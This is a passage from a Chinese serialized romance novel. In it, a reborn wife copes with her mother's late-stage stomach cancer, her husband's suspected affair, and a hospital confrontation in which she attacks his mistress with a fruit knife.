“每次都要跟那个女人吵好久,你妈心气高,架不住天天生气,今天早上,又是如此,你妈她一口气没上来,直接吐了血……”
宋南伊听懂了。
苏语安和霍时序出国之前,还抽空欺负了自己的妈。
真是给她脸了。
“爸,这事你怎么不早说?”
“我也是今天才知道。”
他知道南微的心思,是怕让女儿本就不稳固的婚姻,因为这种小事,变得愈发的寸步难行。
“爸,对不起,妈……”她抱着气色不好的母亲,说不出抱歉,“都怪我,是我连累你们,跟着生气,着急上火的,对不起,真的对不起。”
南微不会怪自己的女儿。
婚内出轨,是霍时序不对。
他搞大的别人的肚子,更是罪上加罪。
作为父母,他们只想让自己的女儿,快一点脱离苦海。
“南伊,妈没事,就是生了点气,别担心。”
宋南伊擦着眼角的泪,“如果他真的搞大了苏语安的肚子,婚内出轨就有了实锤,我想离婚会相对容易一些,爸妈,最晚只需三个月,我一定会结束这段关系的。”
……
母亲住院。
宋南伊的心不安。
她去找医生,问了母亲病情的情况。
结果,晴天霹雳。
胃癌。
中晚期。
她摇着头,震惊到无法相信。
前世,并没有发生这样的事情。
她的母亲是健康的啊。
怎么突然就胃癌了呢。
“医生,会不会是搞错了?要不要再做个详细的检查?”她无论如何也不接受这样的结果,“我妈虽然胃不好,但是每年体检,怎么会……”
“病情其实与心情有很大的关系。”医生见过太多,无法接受病情的病人家属,语气中并无半点起伏,“保持心情舒畅,才能百病全消,病人目前来说,没有更好的治疗办法,只能先控制病情,你们要做好心理准备。”
“不,不,不……”宋南伊不接受这样的现实,崩溃到泪流满面,“……医生,你一定有办法的,我妈不可能得这么重的病,一定能救的,求你了医生,一定要救我的妈妈,她还年轻啊,求你了……”
第36章 弄死她,一了百了
她不相信。
好好的,怎么突然就癌症晚期了呢。
“我知道你们家属很难接受,目前来说,情况是这样的,除非,你们可以满世界的去找,更好,更有效办法,否则……”
医生摇头。
像是给南微判了死刑。
宋南伊跑到角落里痛哭。
苏语安是导致她母亲病情加重,得癌症的罪魁祸首。
而现在,她的丈夫,正陪着伤害母亲的人,在挪威看极光。
讽刺。
她怎么能不恨呢。
擦干眼泪。
她给裴吟打了个电话。
“帮我找,最顶尖的医生或是医疗团队,我要给我妈治病。”她抽噎着,声音不是很清楚。
裴吟不确定的问她,“阿姨怎么了?你先别哭啊,慢慢讲。”
“胃癌。中晚期。”
“什么?”裴吟许久没有缓过来,“怎么会这样?阿姨每年体检没有问题啊?”
“尽快帮我联系,钱不是问题,我妈她……等不起。”她憔悴不堪。
“好,你别着急,我马上让我哥去联系,照顾好阿姨。”
事情紧急,她得联系自己失联以久的哥哥,裴啸。
希望,他能联系到国外的药物实验室,或是医疗团队,帮得上宋南伊。
……
宋南伊没敢告诉母亲,她的真实病情。
父亲几乎一夜白头。
她每天也都在强颜欢笑,做得最多的事情,就是在网上查询治愈的案例。
可是完全治愈的病例太少了。
她根本无从下手。
每天焦头烂额。
朋友圈里,苏语安,一张接着一张照片地秀着,独属于她和霍时序的爱情。
有时候,是他吃早餐的侧脸。
有时候,是他散步时的背影。
前世,她没有给过他们这么多恩爱的机会,是对的。
少了刺痛和伤害。
母亲也不会被气到病重。
如果早知道,重生的求生之路走得这么难。
这一世,她活过来的第一件事情,就是把苏语安弄死。
然后让霍时序,马上跟着殉情。
做一对,地下的野鸳鸯。
这样,苦难才不会,堆砌在她一个人的头上。
她真怕自己,什么时候就承受不住,大开杀戒。
母亲的病情控制得还不错。
裴吟那边也传来的好消息。
两个人约在了医院旁的咖啡厅里,见了一面。
“我哥说,有一家医药公司,正在研制一种,可以治愈胃癌中晚期的药物,已经到了临床阶段,说是效果很不错,有胃癌晚期的试药者,已经拿到了免死金牌,你要不要让阿姨试试?”
“副作用大吗?”她怕母亲的身体受不住。
裴啸说,全世界,只有这种药物,可以延长,甚至是治愈。
至于副作用,裴吟也不太清楚,“我觉得,应该多多少少有一点吧。”
宋南伊斟酌着。
许久,又问,“是只要申请,就能通过吗?”
“我哥说,排队的人比较多,不过可以走后门。”
宋南伊:“找谁走后门?”
“贱狗霍时序啊。”
宋南伊眉心皱起。
霍时序?
她疑惑地问,“他有关系?”
“我哥说,那家医药公司,霍时序占股高达百分之四十,是名副其实的大股东,只要他肯点头,立马可以用到最先进的药物。”
又是霍时序。
但她并不愿意。
“他现在正陪着苏语安,在挪威看极光,怎么会有闲心,来管我们的家的事情。”
他向来不在乎她家人的死活。
宋星言就是一个活生生例子。
裴吟啐了一句国粹。
小嘴跟淬了毒般的,开始骂霍时序,“这个见到贱货就腿软的男人,这是浪到国外去了?还去看极光?极光怎么不把他劈死?要不要脸,到底要不要脸啊,这个狗男人。”
“法律能不能出个条文,把这种不忠的男人,全部物理阉割了?身下多长那点玩意,不知道怎么嘚瑟了,改天,我给你买把剪刀,给他咔嚓了,我看他还敢这么浪。”
再狗,再浪,再不是东西。
眼下,也得有求与他。
裴吟骂痛快了,回归理性,“我知道你心里嗝应,我也恶心啊,但为了救阿姨的命,咱也得先咽下这口脏饭,等阿姨病好了,让他有多远滚多远。”
宋南伊心中彷徨。
这口脏饭,不是说她想咽,霍时序就能给的。
万一,他不给,她还得想别的办法。
母亲的病不同寻常,时间经不起浪费。
她希望从别处,另寻生机,“还有没有别的办法?”
“我这边,目前来说,现在只有这一个线索。”裴吟表示。
宋南伊突然记起,这几天在网上查的时候,无意中查到了一位女医生的团队。
也在做胃病这方面的研究。
叫陆蔓。
好像是陆为谦的姐姐。
“陆为谦的姐姐,好像有团队在做这方面的,我找他问一下,看看能不能帮得上忙。”
裴吟同意她多渠道找治病的方法。
“确实是不能把宝押在一个人身上,毕竟霍时序也不是什么东西,问一下陆律师吧。”
宋南伊也是这个想法。
……
为了能尽快见到陆为谦。
宋南伊亲自去了趟他的律师事务所。
他正在忙工作。
宋南伊安静地等在外面,直到他腾出时间,她才在他助手的引导下,见到了他。
“不好意思,我刚刚知道你来了。”陆为谦不悦地看向自己的助手,“以后宋小姐来,直接跟我说一声就好,就不要让她等了。”
助理忙点头,“好的陆律。”
陆为谦亲自为宋南伊冲了一杯,手磨的咖啡。
送到她的面前,“法国的咖啡豆,你尝尝。”
宋南伊接过咖啡,轻声:“谢谢。”
“过来找我,是有什么急事吗?”他声音温和。
宋南伊打算直说,“我听说陆律师的姐姐,正在研究关于胃癌晚期治疗的药物,不知道,这事是真的,还是……”
陆为谦诧异。
怎么突然聊到这上面去了,“谁生病了?”
“是我妈,她最近查出来胃癌中晚期,国内并没有好的治疗方法,我想为她寻找更有效的治疗办法,这几天我在网上查询到,陆蔓博士在做这方面的研究,所以就想过来碰碰运气。”
宋南伊也不知道,陆为谦能不能帮上她的忙。
事到如今,她也没有更好的办法。
“是吗?你稍等一下。”
陆为谦马上给陆蔓打去了电话。
陆蔓承认,她正在做这方面的研究,但是,药物的人体实验的数据,暂时还没有出来。
“她是霍时序的太太?”陆曼不是很理解,“霍时序在英国的医药公司,也在研究这方面的药物,而且临床效果很不错,她怎么舍近求远?”
第37章 发神经的怪物
陆为谦不好解释,只是说,“我再问她一下吧。”
“为谦,你和她……”陆蔓刚要追问。
陆为谦便打断了她,“好了姐,我先挂了。”
宋南伊不是走投无路,不会找到他来帮忙。
没帮上忙,他心里挺过意不去。
“陆博士,怎么说?”
面对女人期待的目光,他心脏莫名被扯了一下,“南伊,陆蔓说,她们研究的药物,人体实验数据还没有出来,如果现在盲目用药的话,怕副作用太大,阿姨现在病重,经不起折腾,要不,你再等几天,等数据出来……”
看着陆为谦的抱歉。
宋南伊理解的挤了抹笑,“药物方面,确实需要严谨,那我再等等。”
药物不同于别的。
要安全,就不能着急。
宋南伊感觉又有希望,又没有希望,陷入到了死胡同。
就如裴吟说的,实在不行,就去咽霍时序那口脏饭。
为了母亲,没什么豁不出去的。
陆为谦将她送出律所。
总是想着说点什么安慰她一下。
“你也别灰心,这几天数据就会出来,如果人体实验的数据,还不错的话,我亲自带你去见我姐。”
“好。”
宋南伊跟他道了谢。
准备回医院。
一抬眼,看到霍时序倚在自己的车旁,低头拢风点烟。
他身高足够高,剪裁合体的风衣,领口微微敞开着,风吹起衣角,芝兰玉树,冷峻而矜贵。
他吸了口烟,抬眸望过来。
五官立体深邃,仿佛二元世界里,撕破漫画走出来的美男子。
重生以来,宋南伊已经对他免疫。
眸底并未有太多的波澜。
他应该是等了一会儿。
眉眼间,透着一些不耐和无法揣摩的怒气。
宋南伊回避不了。
便选择与他正面交锋。
他吸了口烟,浅浅地吐息着,唇角勾起一丝玩味。
“你妈生了那么重的病,你不在医院里照顾,跑到律所里约会,宋南伊,你的良心让狗给吃了?”
宋南伊猜,他是去过医院了。
要不然,他也不会知道,她在这儿。
也没什么解释的必要,就是听着他这种质问,挺来气的。
“你有什么资格指责我?”她细长的指尖,重重地戳着他的胸膛,“我妈为什么会生病?你去问问苏语安,这段时间干了什么?霍时序,你和她的账,我慢慢跟你们算,滚开。”
宋南伊的力气很大。
将霍时序推了一个趔趄。
他明显没有理解宋南伊话里的意思。
扣住她的手腕,将她扯回了原处,“你说清楚,怎么就跟苏语安有关了?”
“你去问她啊。”
“我们在国外,她能做什么?”
听到国外两个字,宋南伊压抑的怒气,再也控制不住,彻底爆发。
“呵?霍时序,偷个情没必要跑那么远,就算你们在我面前上床,我也没有感觉,怎么,冰天雪地里的极光,更有诗意,更浪漫?做起来更爽吗?”
他看着她,像看一个怪物。
一个发神经的怪物。
她被他的眼神,伤害到了,声音越发的刻薄,“霍时序,你就是一个彻头彻尾的骗子,我诅咒你们不得好死,死无全尸……”
宋南伊甩开他。
大步走向自己的车子。
坐进驾驶室,她的呼吸变得急促,指尖无法弯曲,全身都处在一种僵硬的状态。
她显然是被气到有了躯体反应。
她趴在方向盘上。
眼泪模糊。
不记得时间过了多少。
车窗被敲响。
是霍时序。
他拉开了驾驶室的门,将满脸都是泪水的女人,抱到了后排,“不知道的,还以为我杀了你全家呢,我去国外跟你讲过了,是有正事,你怎么老是往不正常的关系上想?”
他关好后车门。
弯身坐进驾驶室,系好安全带。
亲自开着车,带宋南伊往医院去。
宋南伊已经没力气跟他计较,他们去挪威是正事,还是鬼混。
不重要了。
她现在心里只有一件事情,那就是救母亲。
“霍时序,你和苏语安关系正不正常,你知道,老天知道,我没兴趣知道,你以后也不必发什么报备信息,我不会看。”
她的声音微微嘶哑。
霍时序从后视镜里,看了她一眼。
结婚那会儿,他发过誓,这辈子都不会让她掉一滴眼泪。
为什么,最近,她却总在哭。
难道,他真的错了吗?
可他错在哪儿了?
最近发生的事情太多,他确实有些无暇顾及宋南伊的情绪。
他
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放下身段,耐心地跟她说话,“我去看过妈了,她的病情不容乐观,正好我那家医药团队,新研发了一款治疗的药物,目前来说,效果还不错,我让江淮亲自跑趟英国,将药取回来,你也别太着急,会好起来的。”
霍时序总算说了句人话。
但宋南伊并不领情。
甚至,她更想等陆为谦那边的消息。
“霍时序,你这算什么?偷情后的补偿?”她已经对他失望透顶,这口脏饭,吃得她恶心,“如果真想补偿我,就赶紧跟我离了,我不需要你的假好心。”
“三个月都等不了?”他不得不提醒她,“你妈现在病得这么严重,你还要再刺激她?治病是要花钱的,如果这时宋氏再出了问题,你拿什么去救**命?志气吗?”
说不定,下一个倒下的就是宋知令。
牵一发而动全身。
他相信,宋南伊比他懂。
“卑鄙。”
有了新欢的男人,旧爱只是可怜破烂的木偶。
有兴致就来扯两下。
没兴致了就丢一旁。
霍时序的玩劣的把戏,都用在她身上了。
“上辈子,我为什么会爱上你,会跟你结婚,无耻之徒。”
他沧桑地笑了笑,“命吧。”
车子开到医院。
霍时序下车,拉开后车门,“我就不进去了,等药到了,我让江淮送过来。”
宋南伊没回应他。
她不说话,他就挡在门口。
四目相对,前世的恩爱全然已经消弭,换来的只是二人疏离与隔阂。
“让开。”
“能好好说话吗?”
霍时序的手机响起。
他单手接起电话,依然把宋南伊挡在车内,“喂?”
“时序哥,我有些不舒服,咳,咳……”手机那头虚弱的声音,每个字都很清晰的,送进了宋南伊的耳朵。
这是去看极光冻着了吧。
真是无聊。
她推了霍时序一把,从车里下来,径直往医院里去。
男人望着她的背影。
继续跟手机里的女人说话,“我不是派人去照顾你了吗?补血的滋养品,你也要认真吃。”
“时序哥,我就是,咳,咳……”
“好了,我一会过去。”
男人挂断了手机。
再回眸,已经不见了宋南伊的身影。
……
第38章 丈夫不忠,小三挑衅
宋南伊刚走到病房门口。
就看到母亲,在大口大口地吐血。
宋知令六神无主,眼眶里全是心疼的泪水。
“妈。”宋南伊吓坏了,脚下发软,几步来到病床前,扶住摇摇欲坠的母亲,“妈,没事的,马上我们就有新药了,你会没事的。”
“南伊……”南微虚弱地靠在女儿的身上。
她最近瘦得厉害。
再加上病情的折磨。
越发的脆弱。
护士给她在胳膊上打的留置针,都随着皮包骨,动来动去的,时常造成输液不畅。
“妈,休息一会儿,不说话了。”
南微摇了摇头。
她实在是无力应付病痛了,“妈不怕死,就是放心不下你和星言,更放心不下你爸。”
宋南伊的心绞地疼,鼻塞眼酸。
但她又不能哭。
强装坚强地安抚母亲,“不会的妈,会好起来,要相信自己。”
南微在女儿的怀里,沉沉睡去。
宋知令在一旁偷偷地抹眼泪。
下雪了。
纷纷扰扰。
又是一个悲伤的季节。
父女两个,站在病房外面,许久……
“爸,你怪我吗?”
宋知令叹息。
原本挺直的腰背,如今也佝偻起来,“**病,跟你没关系。”
宋南伊侧过脸来,看向父亲,他鬓边的黑发已经染白。
短短几天,好像过了几十年一样的。
眼眶酸胀。
心情复杂。
曾经。
她以为,这个世界上除了父亲,只有霍时序会无条件地爱她。
他是她的盾牌。
会为她挡下所有的伤害。
可当有一天,他的盾变成了锋利的矛,无情捅向自己的时候。
她毫无反击之力。
她没想过,重生后会连累母亲失去生命。
她重生的意义在哪儿?
她宁愿前一世死掉,就死掉了,至少父母还活着。
这算什么呢?
傍晚的时候。
宋南伊让父亲回家洗个澡,换件衣服,再好好地睡一觉。
母亲用了药,睡得很沉。
她在漫天飞舞的大雪中,抱膝失神。
前世。
也是这样的一个雪天。
她误将车开上了高架,冰天雪地,路面被压实,上坡打滑,她的车怎么也刹不住。
方向失控,连撞了四五辆车子。
最后,冲到了防护栏上,差一点就翻下高架桥。
她当时被吓懵了。
只知道哭。
霍时序顶着风雪,不知道徒步走了多久,才把惊魂未定的她,抱进了怀里。
“谢天谢地,你没事。”
他紧紧地抱着她。
心,跳得乱七八糟。
红着眼睛说,“要是你出了事,我也不活了。”
温暖,依稀还在。
她庆幸,世界上还有一个无条件,在爱着她的人。
那时的他,将她看得比他的命还重,她亦如此。
她多么希望,这样的梦,一个都不要醒来。
雪,渐渐染白了她的头发。
她像一座冰雕。
心脏上,都是密密麻麻的疼。
爱过是有痕迹的。
她否认不了。
宋南伊几乎全身都被冻麻。
这才起身,往病房走。
“你赶紧**吧,你的病没治了,你还不知道吧,宋南伊和霍时序马上就要离婚,你们宋家马上就得破产,你活着也没钱给你治病,何必当家人的累赘呢?”
宋南伊听到了苏语安的声音。
她推开门,急忙跑进去,看向病床的母亲。
南微被气得脸色发青,病床上,还有吐的鲜血。
“妈……”
宋南伊反手就给了苏语安一个耳光,怒斥,“你竟然敢跑到医院里来?苏语安,你是不是想死?”
苏语安卸下伪装。
狡黠地瞪着宋南伊,“我就是来气死她的,而且,我还告诉你,是霍时序让我来的,他说,你们宋家没一个好东西,死一个少一个。”
“南伊,别听她的。”南微咳嗽着,又吐了一口鲜血。
苏语安抱怀走到南微的面前,冷哼,“霍时序如果看重你们宋家人,怎么会让我怀上孩子?你们宋家人不死,我们又怎么能心安理得的过上好日子,就从你开始吧,你先死。”
宋南伊指尖颤抖。
简直是欺人太甚。
“苏语安,你**……”
她抓起床头柜上的水果刀,冲着苏语安就刺了过去。
“时序哥,救我……”苏语安抱头大叫。
千钧一发之际。
及时赶到的霍时序,将苏语安护在了怀中,刀子凶狠地刺进了他结实的上臂。
血。
瞬间染红了他白色的衬衣。
触目惊心。
宋南伊双眸如噬了血一般。
狠绝的,再次向苏语安刺去,撕裂,疯狂。
霍时序猛地扣住了宋南伊握刀的手腕,厉声:“你疯了吗?把刀给我放下!”
“霍时序,你给
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我滚开!”宋南伊的声音因愤怒而变得尖锐,“今天,我非杀了她不可,你再拦着我,你也**。”
不活了。
活得太憋屈了。
反正,早晚都是死。
都死吧……
“时序哥,救我,南伊姐,失心疯了……”
苏语安紧紧躲在霍时序的胸膛前,声音颤抖无助。
微微上扬的唇角,却透出一抹得意与阴冷。
霍时序的目光沉着,紧紧锁在宋南伊失去理智的小脸上:“你杀了她,难道就不用偿命了?你的命,就这么不值钱吗?把刀放下!”
“对,我就是活腻了!”宋南伊歇斯底里,手中的水果刀泛着寒光,“就算搭上我这条命,我也要把你们杀了,都杀了。”
宋南伊已经失去理智。
霍时序本能地抬手,挡着她手里落下来的水果刀。
宋南伊杀不到苏语安。
就往霍时序身上刺。
刀子无眼,他仍强忍着剧痛,夺过了宋南伊手中的凶器。
嘶……
她挺狠的。
男人的胳膊上,全是刀伤。
“时序哥,你伤得好重,我们赶紧报警吧!”
血滴滴答答。
顺着男人的指尖往下淌。
苏语安的声音中,透着虚假的焦急与慌乱。
医生和护士听到动静,纷纷涌了进来。
“先生,你流了好多血,需要帮你报警吗?还是先处理伤口?”医护人员,没了主张。
霍时序看了一眼,缩在一旁的宋南伊。
淡淡地说,“先帮我处理一下伤口吧。”
医生和护士簇拥着霍时序离开。
有打扫卫生的阿姨,进来把地上的血迹,全部清扫干净。
短短几分钟。
像是什么都没有发生过一般。
南微心疼地将女儿抱住,“南伊,你不该这么冲动啊,不值得。”
宋南伊苦笑。
什么才是值得的?
家人健康,安全,幸福才是值得的。
其余的,都不重要。
她已经活过一辈子了。
这一世,活不活都无所谓,她只要家人好好的。
宋南伊做好了,被警察带去问话的准备。
早早地将宋知令叫到了医院,来照顾母亲。
宋知令听说女儿的冲动后,又不忍责怪她。
“爸知道你心里苦,丈夫不忠,小三挑衅,母亲又重病,但是南伊,父母只希望你好好的活着,活着才有希望,如果你出了事,我们也活不下去的。”
第39章 娶小老婆
宋南伊掉泪。
自己受点委屈,她能忍。
可是她不允许,苏语安来欺负自己的妈妈。
她沉默不语。
病房里的空气凝滞。
霍时序打开门,走进来,宋家人一起抬眸看向了他。
大家不约而同地,看向了他缠着纱布的手臂上。
宋知令怕霍时序一时生气,将宋南伊送到局子里。
先向他道了个歉。
“是爸没教好,不管发生了什么事情,伤人是不对的,爸想请你看在爸的面子上,给南伊一次改正的机会。”
宋知令冲霍时序,深深地鞠了一躬。
很卑微。
宋南伊的心,好像被什么东西刺了一下。
眼角的泪,倔强的不肯落下。
“爸,你这是干什么?我怎么会跟南伊计较这个。”霍时序扶住宋知令,“您别想多了,我……跟南伊聊两句。”
气氛沉闷。
宋南伊起身,跟着霍时序走出病房。
该来的躲不掉。
她不后悔,刚刚自己的鲁莽。
她早就想这么干了。
“什么时候去?”
宋南伊的眼神空洞而遥远。
霍时序皱眉,“去哪儿?”
“去派出所。”
“就这么想把自己关进去?”他很不理解,宋南伊今时今日的状态,“南伊,你真的变了好多,我们之间到底是怎么了?”
宋南伊的唇角勾起一抹苦笑,淡淡地望着漫天的飞雪。
声音缥缈的,如同空中飞舞的枯叶,“霍时序,恭喜你啊,就要当爸爸了。”
一个带着父母的爱降生的宝宝。
应该是这个世界上,最幸福的宝宝。
不像她的孩子。
从不出生的时候,就被诅咒。
生下来,没了母亲,只有一个抛弃他的父亲。
很心酸。
也很嫉妒。
霍时序没听懂她话里的意思,猜测着,“你怀孕了?”
她望向他,笑着。
唇角是绝美的弧度。
泪水悄无声息地落下,滴落到满是雪花的地面上,像是无尽悲伤的蔓延。
时间似乎在这一刻,停顿……
宋南伊就那样倔强的,晕倒在了漫天的大雪之中。
“南伊……”
“来人啊……”
……
宋南伊发烧了。
高烧不退。
整个人陷入了昏睡当中。
霍明达听说了发生的事情,带着孙爱芸,火急火燎地来到了医院。
他先去看望了南微。
看到宋知令不知何时变白的头发。
心里有种说不出的滋味。
“生了这么重的病,怎么也不言语一声?知令兄,你怎么还把我们当成外人了?咱们找全世界最好的医生,最好的药物,南微她一定会没事的。”
宋知令知道霍明达是真心实意的,为南微的病着急。
两家本就是世家。
宋知令和霍明达,也是年少相识。
交情一直在。
如果不是儿女亲家,他们的关系,应该比现在还要亲近一些。
“南伊,一直在寻找行之有效的办法,来治疗南微的病,最近也是又累又急的,再上那个苏语安来医院条形,才一时脑热伤到了时序……”
宋知令总是担心霍时序,会记恨宋南伊。
他无法再承受,女儿出事。
霍明达自惭形秽,“这混小子……该,知令兄,你知道我脾气的,我向来不偏袒,最近时序确实是太荒唐了,南伊这口气,我觉得出的挺痛快的。”
“明达,我们认识五十多年了,本以为这儿女亲家,是亲上加亲,现在看来,并非如此,我不敢说,这场婚姻里,霍时序是完全的过错方,但我看得出来,南伊过得并不快乐……”
他想说的其实,很多很多。
总归是化成了一声轻叹,“……我觉得,还是让他们分开吧。”
霍明达沉默着。
让一个小家就这样破碎,他真的与心不忍。
儿子不争气是事实。
他这个当父亲,责无旁贷。
“知令兄,我明白,南伊受委屈了,但是,我觉得他们还没有到,非分开不可的地步,你要是信得过我,我一定让时序这个混小子,走回正道上来。”
霍明达的承诺。
并没有让宋知令宽心。
霍时序不是个小孩子,感情也不是能勉强得了的。
他更希望,两个人,甚至两个家族,体面的分开。
走出南微的病房,霍明达边往宋南伊的病房走,边骂霍时序。
“真是过几天好日子,不知道姓什么好了,那个苏语安是个什么来头,他都没搞清楚,就又是买房,又是买车的,有钱花不了,可以多盖几所希望小学。”
“我看南伊还是捅错了地方,怎么没捅死他。”
孙爱芸撇嘴,“宋南伊也太烈了,到底是什么大不了的事情,还要挥刀子伤人,这幸好时序人高马大的,是个男人,要不然后果……”
“他纵容那个苏语安,跑到医院里欺负一个绝症病人,他不该吗?就凭这一件事情,他就足够死一万次。”
霍明达脸色发黑。
他怎么生了这么个玩意。
推开病房的门。
宋南伊还在昏睡着。
医生说她操劳过度,再加上情绪上受到刺激,才一病不起。
霍时序觉得挺对不起她的。
心脏被一扯一扯地疼。
霍明达一步迈进来。
看到宋南伊还睡着,便压低声音,“你跟我出来。”
霍时序起身走出病房。
“爸。”
字刚落地,脸上就结实地挨了一个巴掌。
双耳轰鸣。
打得猝不及防。
霍时序动了动腮。
虽未说什么,但脸色难看。
孙爱芸急忙去拦霍明达,“有话好好说,怎么还先打上人了。”
“打他?打死也不多。”霍明达叉着腰,今天非要解决这个问题,“是不是你授意那个贱货,来医院欺负人的?她是个什么东西?活腻歪了?”
“你岳母现在什么情况,你不清楚吗?你还要不要做个人了?我从小到大就这么教育你的?南伊是你的太太,是你花了多少力气才娶到的,你是忘了吗?你怎么狠下心,纵容别的女人欺负她的?”
“现在宋家人都支持你们赶紧把婚离了,霍家的脸,都被你丢尽了。”
霍时序挨训的时候。
通常一言不发。
自小到大,他都是泰山崩于心,面不改色的狠角色。
现在这种狠,都用在了宋家身上。
霍明达很难不恼火,“我再重申一遍,我们霍家人,不允许娶小老婆……”
他的话还未完。
霍时序凛冽的眸子,缓缓抬起,讥嘲地看了孙爱芸一眼,“你没娶小老婆,她是谁?”
他的话,阴厉中透着鄙夷,怼得霍明达,半晌没说话。
孙爱芸更是难堪。
她虽然和霍明达生活了二十年。
但没领结婚证。
这事只有霍时序知道。
表面上,她是霍夫人,其实名不正,言也不顺。
撕下光鲜的外皮。
她在霍家,什么也不算。
现场有那么几分钟,静得落针可闻。
孙爱芸扭头,满腹委屈地离开。
父子两个沉默良久后。
霍明达才缓淡地开口,“你去挪威看你母亲……,她情况怎么样?”
“你不是,早已经,不在意她的死活了吗?”
……
第40章 她是我的,永远都是
宋南伊睡来时。
已经是隔天的早上。
阳光刺眼,透过窗户洒过来,暖暖的,窗外的枝头上,雪正在一点点地融化。
霍时序没在。
护士说,天还没亮,他接了个电话就走了。
“我看霍先生好像是有什么急事,不过,他特意叮嘱过我,要好好地帮你看着输液瓶。”小护士帮宋南伊拔了针,然后看了一眼体温计,“霍太太,你退烧了。”
“谢谢。”
宋南伊摁着针眼,抬眼看了看时间。
医生说,母亲今天,要先做一个手术。
时间上差不多了,她得去母亲的病房看一眼。
意外的是,霍明达在。
她没什么心情,也没喊人。
霍明达没计较。
一直在和宋知令说着手术的事情。
宋南伊走到母亲身旁,轻轻地握紧了她的手,“妈,一个小手术,你别害怕,我和爸在外面等着你,昨天,星言借了老师的手机,给我发信息,说想吃您做的油泼面了,病好了,咱们就回家。”
南微很虚弱。
她不知道自己能不能下手术台。
开始交代后事般的,把家里的存折密码,银行里保险柜的密码,一股脑地往外说。
宋南伊听得心酸。
安抚了母亲几句,红着眼出了病房。
树枝上的雪,都化得差不多了。
滴滴嗒嗒的,把泥土砸出一个个的小坑。
她这几天,过得像是做梦一样的。
不知道前世是真的。
还是现在是真的。
或许,现在的她就正在做一个悲伤的梦。
梦醒了。
母亲还很健康,她也没有嫁给霍时序。
心口泛起酸痛,吐不出来,又咽不下去。
“南伊。”
陆为谦大步走了过来。
他手里拿着一份报告书,眼底是掩不住的兴奋。
“我姐那边的实验数据有了,效果很不错,如果可以的话,需要阿姨亲自去实验室,做一个全面的检查,然后开始规范的用药治疗。”
这个好消息。
像一束温暖的光,落到了宋南伊心底最荒凉的那个角落。
“真的吗?我妈是不是有救了?”宋南伊激动的抱住了陆为谦,又哭又笑的,“我妈真的有救了,真的有救了。”
陆为谦第一次感受到她的温度。
心口有异样的电流贯入。
很有分寸的,用指尖拍了拍她的背,“一定会有好结果的。”
宋南伊笑着点头。
脸上两行清泪。
而此时,角落里的一枚摄像头,偷偷地拍下了二人拥抱的照片。
南微被送进了手术室。
陆为谦陪着宋南伊,坐在外面等。
短短几天。
宋南伊瘦了一大圈。
陆为谦的眉心泛起心疼。
今天,这么重要的手术,霍时序的父亲都到了,他为什么没来?
夫妻之间的事,最难猜。
尤其是要离婚的夫妻,情分早已经不在。
霍时序的不出现,似乎也变得说得过去。
正当他思忖着,要说些什么,宽慰宋南伊的时候。
一阵脚步由远及近……
霍时序来了。
风尘仆仆的。
“南伊。”他唤她。
她没抬头,也没回应。
陆为谦起身,声音轻轻的,“阿姨进去差不多一个小时了,南伊她现在很紧张。”
“你怎么在这儿?陆为谦,我警告你,别想着趁虚而入,也别太自作多情了。”
霍时序的声音尽管压抑着,但不算好听。
这种时候。
他心里再反感陆为谦,也懂得分寸。
并没有跟他起冲突。
他坐到了宋南伊的身旁。
想抱抱她。
她躲开了。
他身上,有一股廉价的香水味。
像是刚从苏语安的被窝里爬出来。
很呛,很恶心。
“霍时序,离我远一点。”
宋南伊起身,走到了窗口的位置,刚好可以避开父亲和霍明达的视线。
她现在心里很乱。
最怕母亲下不了手术台。
陆为谦站在不远处,注视着她的背影,眉眼间不经意地流露出来的温柔。
看的霍时序双眼通红。
“再想,她也不会是你的。”
霍时序的声音幽暗。
里面掺了九十分的嫉妒和醋意。
陆为谦侧着身子,回望了他一眼,“你怎么知道?”
“她是我的,永远都是。”他宣示主权。
陆为谦却笑了,“当你和苏语安在一起的时候,她就已经不属于你了,你清楚的。”
-霍时序第一次感受了‘危机’二字。
陆为谦这种不显山,不露水的性子,最容易潜移默化的,走进宋南伊的心里。
不。
或许,他早已经走进她的心里。
只是自己还不愿意相信。
有那么一瞬间,霍时序的心变得空洞,不知所以。
但他必需强行忽略这种情绪。
不能让陆为谦,发现他的无能为力。
“我们夫妻之间的事情,你一个外人,又能懂了?省省吧。”
陆为谦笑笑,没再说话。
这种把控全局的自信,让霍时序很不舒服。
他挺想揍人的。
只是……今天不合适。
手术室的灯,灭了。
很快,护士将南微推了出来,“手术挺成功的,现在我们把病人推去观察室,家属跟我来一个。”
“好的。”宋南伊跟着护士离开。
陆为谦想跟上去。
被霍时序抬手拦下,“我们家的事情,就不劳陆律师了,请回吧。”
他身上笼罩着一股森冷的气息。
陆为谦懂得进退,也没打算跟他硬碰硬,“那你照顾好她。”
抬手,在霍时序受伤的手臂上,重重地拍了两下。
转身离开。
霍时序疼得咬牙切齿。
他故意的。
这时。
霍明达走了过来,“这几天,你也就别来医院了,宋家人看到你就头疼,你抓紧处理苏语安吧,你爷爷因为这事,血压和心脏都出了问题,你该懂点事了。”
霍时序没说话。
霍明达也不知道他心里到底怎么想的,不管他怎么想,这个苏语安不处置是不行了。
“如果你处理不了,我就亲自去处理,我已经答应你爷爷很久了,是要对宋家人,有个态度了。”
得不到霍时序的回答。
霍明达气不顺的,甩手离开。
霍时序走出医院的大门。
抽了根烟,递到唇上,他没点,就那么噙在唇角,眼眸深远地望着……
……
母亲的病情,因为手术得到了有效的控制。
修养得差不多的时候,她去找了陆为谦,得以和陆蔓见了一面。
陆蔓的形象,跟报道上的照片差不多。
本人更干练一些。
说话也言简意赅。
“如果不是看在为谦的面子上,这药是绝对不对外试用的,宋小姐,你要做好心理准备,治疗过程,是伴随着一些药物的副作用,痛苦也是常态,能接受吗?或者说,你现在还有机会,去选择你先生公司旗下的药物。”
第41章 你挺会杀人诛心
“陆博士,我能接受,只求我妈的病,会好起来。”
当霍时序这个选项,不是唯一时,她不会把希望寄托在一个,并不关注自己家人的人身上。
既然选择了,她就不会后悔。
陆蔓看向了陆为谦。
而他的眼神,却满是心疼落到了宋南伊的侧脸上。
陆蔓心了然。
“好。”
与陆蔓谈好母亲治疗的事情。
宋南伊回了趟家。
一进门,路姐就迎了出来,“太太,您回来了?先生他……”
路姐欲言又止。
宋南伊也不想打听。
冷淡了句,“他随便吧。”
她换了鞋,往里走,路姐又小心翼翼地叫住了她,“太太,苏小姐也在。”
楼上突然传来了摔碎东西的声音。
路姐忙又跟了句,“先生的父亲和母亲,也在。”
宋南伊:……都在?
她本是回家换洗,顺便拿几件衣服,再回医院的。
倒也是没有想到,家里会这么热闹。
“知道了。”
宋南伊上了楼。
